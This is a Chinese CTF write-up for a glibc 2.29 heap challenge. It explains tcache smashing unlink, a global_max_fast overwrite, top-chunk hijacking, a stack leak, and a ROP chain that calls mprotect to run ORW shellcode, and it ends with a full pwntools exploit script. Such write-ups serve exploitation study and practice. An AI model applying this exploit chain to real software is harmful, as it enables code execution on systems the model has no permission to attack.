1.查看文件
3.思路
很明显的意图可以想到我们需要修改其对应的位置的值,将0x42改为其它的内容。
这道题优点像one_punch_man和高效战役的two_chunk,但是比较恶心的是没有malloc功能的函数。如果我们进行tcache smashing attack后改掉对应位置的fd要怎么去取呢?
实际上我们可以换个思路,我们可以考虑先利用一次tcache smashing unlink来达到调用后门函数的要求,也就是利用归类smallbin进入tcache的时候任意地址(0x100000)写libc地址的机会将0x42改掉。这个时候就可以调用后门函数了。但是这个时候又有一个问题,我们需要控制0x100000处的地址来实现任意函数调用的目的,那我们又该怎么做呢?那说白了我们还是需要想办法来分配到0x100000的地址,而且是在没有malloc的情况。
大概讲讲tcache smashing unlink的思路:利用一条0x160的tcache list(满的7个)和一条0xb0的tache list(6个)。当0x160满了之后释放的chunk进入unsorted bin,这时候切割一下,将0xb0剩下,通过calloc一个更大的chunk令其归入smallbin中。再用一次这个方法使0xb0的smallbin有两个chunk,此时利用UAF修改后进入smallbin的0xb0的chunk的bk为0x100000-8-4,在calloc 0xb0的chunk,则先进入的chunk会被分配,后进入的会进入tcache,由于进入tcache没有检查:
来自Ama2in9师傅的思路,改掉global_max_fast来达到可以对大chunk进行fastbin的利用。具体就是当改掉global_max_fast后释放chunk就会当作fastbin处理(0x90~0x200),分配的时候calloc同样会找fastbin链有没有chunk。但是Ama2in9师傅后面的思路就有点麻烦了,大概是利用fastbin分配的特点在释放了的fd处伪造个size,chunk分配后就会将这个size当作下一个fd写到main_arena,这时再利用修改另一条链fd的目的劫持到size处,也就达到了劫持main_arena的目的,最后就可以改top chunk了。
在这里我的思路是:利用释放0xd0 size的chunk来覆盖掉top chunk,因为此时会将一切大小的chunk作为fastbin chunk处理。那么此时top chunk就是这个0xd0的chunk地址,此时利用UAF改其fd为0x100000,这样再malloc(0xc0)就可以将0x100000写入top chunk了。还需要注意一点:top chunk的size需要小于0x21000,在2.23里面没有检查这就要求我们向0x100000写libc地址的时候需要错位改一下0x100008的值为0x7fff。此时就可以随便分配fake topchunk了。注意一点:由于fastbin分配的时候会有检查,不为空的时候:victim->bk->fd = victim,那么由于对应的fastbin链中(实际上就是smallbin了)本身就有libc地址那么malloc的时候list检查肯定会出错,所以我们就要提前准备一个size的链,保证释放后这个地址是有chunk的地址不是libc,同时改这个chunk的fd为0就可以正常分配释放这个size的chunk了。我们选取0x120的chunk来进行分配释放,由于0x100000可控了。我们首先选择调用puts函数,参数为environ打印出stack地址。再删除再malloc调用gets,地址为调用backdoor的返回地址,写入rop令我们指定的0x100000地址数据可执行,提前再分配一个0x120 的chunk写入shellcode(ORW的shellcode),最后rop可以接着写pop rax,call rax打印出flag。
总结:
第一步:泄露libc地址和heap地址。
第二步:第一次tcache smashing unlink,一次改0x100000!=0x42,同时也可以修改0x10008=0x7fff(错位写)。
第三步:第二次tcache smashing unlink改global_max_fast。
第四步:释放0xd0的chunk覆盖top chunk的位置,同时改fd为0x100000,通过一次分配0xd0的chunk就可以控制0x100000的地址了。
第五步:第一次利用puts函数,参数为environ得到stack地址。第二次利用gets向栈返回地址写入rop执行mprotect使0x100000可执行。再此之前在对应的位置写上shellcode,这样rop就可以加一条pop rax;call rax来得到flag了。
4.exp
#coding=utf-8
from pwn import *
# context.terminal = ["tmux","split","-h"]
context.log_level = "debug"
context.arch = "amd64"
debug = 1
if debug:
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.29.so")
else:
p = remote("127.0.0.1",1234)
elf = ELF("./pwn")
libc = ELF("./libc.so")
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
def create(index,size,content):
sla(">","1")
sla("index:",str(index))
sla("basketball:",str(size))
sa("name:",content)
def delete(index):
sla(">","2")
sla("basketball:",str(index))
def show(index):
sla(">","3")
sla("basketball:",str(index))
def edit(index,content):
sla(">","4")
sla("basketball:",str(index))
sa("basketball:",content)
def backdoor():
sla("> ",str(0x666))
# ------ show heap address & libc address -------
create(0,0x180,"\n")
create(1,0x180,"\n")
delete(0)
delete(1)
show(1)
ru("Show the dance:")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x10
success("heap address ==> "+hex(heap_addr))
for i in range(5):
create(0,0x180,"\n")
delete(0)
for i in range(6):
create(0,0xa0,"\n")
delete(0)
for i in range(6):
create(0,0xb0,"\n")
delete(0)
for i in range(7):
create(0,0xc0,"\n")
delete(0)
create(4,0xc0,"\n")
for i in range(7):
create(1,0x120,"\n")
delete(1)
create(0,0x180,"\n")
create(1,0x190,"\n")
delete(0) # UAF size = 0x190
show(0)
ru("Show the dance:")
static_libc = 0x7ffff7dce000
main_arena = 0x00007ffff7fb2ca0
heap_static = 0x55555555a250
libc.address = u64(p.recv(6).ljust(8,"\x00"))+static_libc-main_arena
success("libc address ==> "+hex(libc.address))
# -------- tcache smashing unlink attack modify 0x10000 have libc addr ---------
create(1,0xd0,"\n") # 1
for i in range(7):
create(1,0x1a0,"\n")
delete(1)
create(1,0x1a0,"\n")
create(2,0x1b0,"\n")
delete(1) # we can uaf 0x1a0 size, this chunk have been split
create(0,0xf0,"\n")
create(0,0x1b0,"\n")
edit(1,"a"*0xf0+p64(0)+p64(0xb1)+p64(heap_addr-heap_static+0x000055555555c590)+p64(0x0000000000100000-4-8)+"\n")
create(0,0xa0,"\n")
# -------- tcache smashing unlink attack modify global_max_fast ---------
create(0,0x180,"\n")
create(1,0x100,"\n")
delete(0)
create(0,0xc0,"\n")
create(0,0x1a0,"\n")
create(1,0x100,"\n")
delete(0)
create(1,0xe0,"\n")
create(2,0x100,"\n")
edit(0,"a"*0xe0+p64(0)+p64(0xc1)+p64(heap_addr-heap_static+0x000055555555d9b0)+p64(0x7ffff7fb5600-0x10+libc.address-static_libc)+"\n")
# --------- prepare chunk for hijacking top chunk -------------
create(1,0x120,"\n")
create(3,0xb0,"\n") # tcache smashing unlink to modify
delete(1)
delete(4) # delete 0xd0 size chunk, this chunk addr will cover top chunkaddr
delete(3)
edit(3,p64(0x100000)+"\n")
create(3,0xb0,"\n")
edit(1,p64(0)+"\n") # modify 0x130 fast chunnk fd = 0
create(1,0x120,"\n") #clear fastbin 0x130 list
# backdoor execute puts(environ)
create(1,0x120,p64(libc.sym["puts"])+p64(libc.address - static_libc + 0x7ffff7fb5d60))
backdoor()
stack_addr = u64(p.recv(6).ljust(8,"\x00"))-0x7fffffffe038+0x7fffffffdf28
success("stack address ==> "+hex(stack_addr))
# backdoor execute gets(ret stack addr) and call [0x100000+0x140]
if debug:
pop_rax = libc.address + 0x0000000000047cf8
pop_rdi = libc.address + 0x0000000000026542
pop_rsi = libc.address + 0x0000000000026f9e
pop_rdx = libc.address + 0x000000000012bda6
syscall = libc.address + 0x00000000000cf6c5
pop_rax_call_rax = libc.address + 0x000000000014f404
else:
pop_rax = libc.address + 0x0000000000047cf8
pop_rdi = libc.address + 0x0000000000026542
pop_rsi = libc.address + 0x0000000000026f9e
pop_rdx = libc.address + 0x000000000012bda6
syscall = libc.address + 0x00000000000cf6c5
pop_rax_call_rax = libc.address + 0x000000000014f404
payload2 = asm('''
mov rdi,0x100140
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rdi,rax
mov rsi,0x100200
mov rdx,0x40
mov rax,0
syscall
mov rdi,1
mov rsi,0x100200
mov rdx,0x40
mov rax,1
syscall
''')
payload1 = flat([pop_rdi,0x100000,pop_rsi,0x1000,pop_rdx,7,libc.sym["mprotect"],pop_rax_call_rax,0x100000+0x140+8])
delete(1)
create(1,0x120,p64(libc.sym["gets"])+p64(stack_addr)+"\n")
create(2,0x120,"flag"+"\x00"*4+payload2+"\n")
# p.clean()
gdb.attach(p)
backdoor()
raw_input()
sl(payload1)
# gdb.attach(p)
p.interactive()